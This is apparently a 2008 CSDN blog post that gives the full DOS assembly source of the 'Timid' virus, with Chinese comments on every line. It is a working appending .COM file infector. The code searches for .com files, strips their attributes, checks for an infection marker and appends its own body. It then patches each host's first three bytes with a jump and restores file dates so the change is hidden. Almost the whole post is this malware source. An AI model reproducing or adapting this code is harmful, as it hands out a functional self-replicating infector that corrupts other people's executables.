CSDN博客

img mikeywj

timid病毒源码

发表于2008/10/1 19:56:00  329人阅读

 .model tiny
.code
ORG 100H
start:
   call get_displacement              ;当前堆栈中保存的是get_displacement在内存中的真实地址
  
get_displacement:                     ;重定位(获取start在内存中的真实地址)
   pop bp                             ;bp为get_displacement在内存中的真实地址
   sub bp,offset get_displacement     ;bp现在是start在内存中的真实地址
   
get_dta:                              ;保存当前DTA地址
  mov ah,2fh                          ;ES:BX=DTA首址
  int 21h                             ;2FH号功能为取磁盘传输地址DTA
  mov [bp+old_dta_off],bx             ;将DTA地址保存到变量old_dta_off变量中
   
set_dta:                              ;设置程序DTA首址
  mov ah,1ah                          ;DS:DX为DTA缓冲区首址      
  lea dx,[bp+dta_filler]              ;将变量dta_filler在内存中的地址设为DTA首址
  int 21h                             ;1aH号功能为设置DTA首址
         
search:                               ;查找第一个.com文件
  mov ah,4eh                          ;DS:DX=带路径的文件名,CX=文件属性,CF=1失败,AX=错误码
  mov cx,[bp+search_attrib]           ;所查找文件属性为变量search_attrib中所记录的文件属性
  lea dx,[bp+search_mask]             ;所查找文件类型为search_mask中记录的类型,即.com类型文件
  int 21h                             ;4EH号功能为查找第一个匹配的文件项
  jnc clear_attrib                    ;CF为进位标置,为0表示找到则程序跳转
       
find_next:                            ;继续查找.com文件
  mov ah,4fh                          ;CF=1失败,AX=错误码
  int 21h                             ;4FH号功能为查找下一个匹配的文件项     
  jnc clear_attrib                    ;CF为进位标置,为0表示找到则程序跳转  
  jmp bomb                            ;找不到.com文件了则感染结束
 
clear_attrib:                         ;将文件属性设为一般文件(可写可读)
  mov ax,4301h                        ;DS:DX=带路径的文件名,AL=方式:0取,1置,CX=新属性;1只读,2隐蔽,4系统,20H归档
  xor cx,cx                           ;cx置0,0为普通文件
  lea dx,[bp+dta_file_name]           ;将找到的文件名传入DX
  int 21h                             ;43H号功能为取/置文件属性
        
open_file:                            ;打开文件
  mov ax,3d02h                        ;DS:DX=带路径的文件名,AL=方式,0读,1写,2读写
  lea dx,[bp+dta_file_name]
  int 21h                             ;3dH号功能为打开文件
  xchg bx,ax                          ;bx中保存文件号
             
check_if_infected:                    ;检查文件是否已被感染过
  mov dx,word ptr [bp+dta_file_size]
  sub dx,2
  mov ax,4200h                        ;AL=方式:0正向,1相对,2反向
  mov cx,0                            ;CX:DX=双字长的偏移值
  int 21h                             ;42H号功能为移动文件指针,此时文件指针指向该文件的倒数第二个字节数
  mov ah,3fh                          ;BX=文件号,CX=字节数,DS:DX=缓冲区首址
  mov cx,2
  lea dx,[bp+last_chars]                                         
  int 21h                             ;3FH号功能为读文件,将该文件最后两字节读入变量last_chars中
  mov ah,[bp+last_chars]              ;last_chars中第一个字符传入ah
  cmp ah,[bp+virus_id]                ;比较lash_chars中第一个字符和virus_id中第一个字符
  jne save_3_bytes                    ;第一个字符不同则说明文件未受感染则跳转感染本文件
  mov ah,[bp+last_chars+1]          
  cmp ah,[bp+virus_id+1]              ;比较第二个字符
  jne save_3_bytes                    ;第二个字符不同则说明文件未受感染也同上跳转感染本文件
  jmp close_file                      ;两字符均相同则说明该文件已受感染则跳去close_file

save_3_bytes:                         ;保存被感染文件的首3字节
  lea si,[bp+_3_bytes]               
  lea di,[bp+_mid_3_bytes]
  cld                                 ;令DF=0, 其后[SI],[DI]执行增量操作                      
  mov cx,3
  rep movsb                           ;rep:REP前缀后的串指令重复执行,每执行一次CX=CX-1,直至CX=0时退出REP;movsb:Move byte at address DS:(E)SI to address ES:(E)DI

  mov ax,4200h
  xor cx,cx                         
  xor dx,dx
  int 21h                             ;42H号功能为移动文件指针,将文件指针移到文件头
   
  mov ah,3fh                                
  mov cx,3
  lea dx,[bp+_3_bytes]
  int 21h                             ;3FH号功能为读文件,将文件首3字符存入_3_bytes中

goto_eof:                             ;将文件指针移至文件尾
  mov ax,4202h                        ;AL=方式:0正向,1相对,2反向,AX为移动后的文件指针
  xor cx,cx
  xor dx,dx
  int 21h                             ;42H号功能为移动文件指针,将文件指针移至文件尾处
 
save_jmp_displacement:
  sub ax,3                           
  mov [bp+jmp_disp],ax                ;保存跳转指令的跳转地点
 
write_code:                           ;将内存中的病毒体写入被感染程序
  mov ah,40h                          ;BX=文件号,CX=字节数,DS:DX=缓冲区首址
  mov cx,virus_length                 ;CX=病毒代码长度
  lea dx,[bp+start]                   ;DX=内存中的病毒代码首址
  int 21h                             ;40H号功能为写文件,将病毒体写入文件尾部
 
goto_bof:                             ;文件指针移到文件开始处         
  mov ax,4200h                        ;AL=方式:0正向,1相对,2反向
  xor cx,cx
  xor dx,dx
  int 21h                             ;42H号功能为移动文件指针,将文件指针移至文件头
 
write_jmp:                            ;在被感染程序前写入跳转指令,被感染程序前3字节将被覆盖
  mov ah,40h                          ;BX=文件号,CX=字节数,DS:DX=缓冲区首址
  mov cx,3                            ;CX=3,跳转指令长度为3字节
  lea dx,[bp+jmp_code]                ;将跳转指令传入缓冲区中
  int 21h                             ;40H号功能为写文件,将跳转指令写入文件头
 
  inc [bp+infections]                 ;感染计数器增一
restore_date_time:
  mov ax,5701h                        ;AL=1置;BX=文件号,CX=时间;DX=日期
  mov cx,[bp+dta_file_time]           ;感染前的文件修改时间
  mov dx,[bp+dta_file_date]           ;感染前的文件修改日期
  int 21h                             ;57H号功能为取或设文件时间及日期
close_file:                           ;关闭被感染程序
  mov ah,3eh                          ;BX=文件号
  int 21h                             ;3EH号功能为关闭文件

restore_attrib:                       ;恢复host文件属性
  xor ch,ch
  mov cl,[bp+dta_file_attrib]         ;将保存的host文件的属性重新写入文件属性中去
  mov ax,4301h
  lea dx,[bp+dta_file_name]
  int 21h                             ;43H号功能为取/设文件属性
  jmp find_next                       ;感染下一个文件
bomb:                                 ;显视提示信息,标识病毒特征
  lea dx,[bp+showstr]               
  mov ah,09h
  int 21h                             ;09H号功能显视showstr中保存的字符串
          
restore_dta:                          ;恢复系统原始的DTA
  mov ah,1ah
  mov dx,[bp+old_dta_off]
  int 21h                             ;1aH号功能为设DTA
 
resote_3_bytes:                       ;在内存中恢复被感染程序的前3字节
  lea si,[bp+_3_bytes]               
  mov di,100h
  cld                                 ;令DF=0, 其后[SI],[DI]执行增量操作                      
  mov cx,3
  rep movsb                           ;rep:REP前缀后的串指令重复执行,每执行一次CX=CX-1,直至CX=0时退出REP;movsb:Move byte at address DS:(E)SI to address ES:(E)DI
return_control_or_exit?:            
  cmp bp,0                            ;如果bp为0说明是病毒原体运行,感染完成后就直接结束
  je exit
  mov di,100h                         ;bp不为0说明是寄生在宿主程序中,病毒体运行完后让宿主运行
  jmp di

exit:
  mov ah,08h
  int 21h                             ;等待输入任何字符
  mov ax,4c00h
  int 21h                             ;程序返回

old_dta_off dw 0
;--------------------dta记录------------------------------------------------
dta_filler db 21 dup(0)
dta_file_attrib db 0
dta_file_time dw 0
dta_file_date dw 0
dta_file_size dd 0
dta_file_name db 13 dup(0)
;----------------------------------------------------------------------------
search_mask db "*.com",0               ;感染文件类型,ASCIZ串后面为全“0”字节
search_attrib dw 00100111b             ;文件属性a,s,h,r
infections db 0                        ;感染计数器
_3_bytes db 0,0,0
_mid_3_bytes db 0,0,0
jmp_code db 0e9h                       ;跳转指令
jmp_disp dw 0
last_chars db 0,0                     ;文件尾字符=病毒ID?
virus_id db 10,24h                    ;病毒ID    
;------------------show test string------------------------------------------
showstr db 'This file was infected!',13,10,'It writen by mikeywj!',13,10,24h
eov:
  virus_length equ offset eov - offset start

END start

阅读全文
0 0

相关文章推荐

img
取 消
img